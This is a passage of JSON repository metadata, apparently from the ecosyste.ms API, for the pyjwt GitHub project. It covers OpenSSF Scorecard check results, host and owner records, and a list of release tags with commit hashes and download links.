process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/